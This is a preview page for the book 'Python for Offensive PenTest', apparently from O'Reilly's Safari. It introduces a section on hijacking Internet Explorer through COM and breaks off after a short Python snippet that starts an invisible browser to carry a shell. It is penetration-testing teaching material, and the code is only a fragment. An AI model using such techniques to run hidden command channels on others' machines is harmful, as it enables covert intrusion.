O'Reilly logo

Python for Offensive PenTest by Hussam Khrais

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

Hijacking IE

As always, coding with Python will make your life much easier. Now, to use COM in Python, you just need a Python for Windows or pywin library. Since we've already installed this library while creating our previous key-logger, we won't cover that again here. Now, let's jump to the coding part:

# Python For Offensive PenTest# Install Python for Windows pywin32-219.win32-py2.7# http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/# Hijacking IE - Shell Over IEfrom win32com.client import Dispatchfrom time import sleepimport subprocessie = Dispatch("InternetExplorer.Application") # Create browser instance.ie.Visible = 0 # Make it invisible [ run in background ] (1= invisible)...

Here, we start by creating an InternetExplorer ...

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required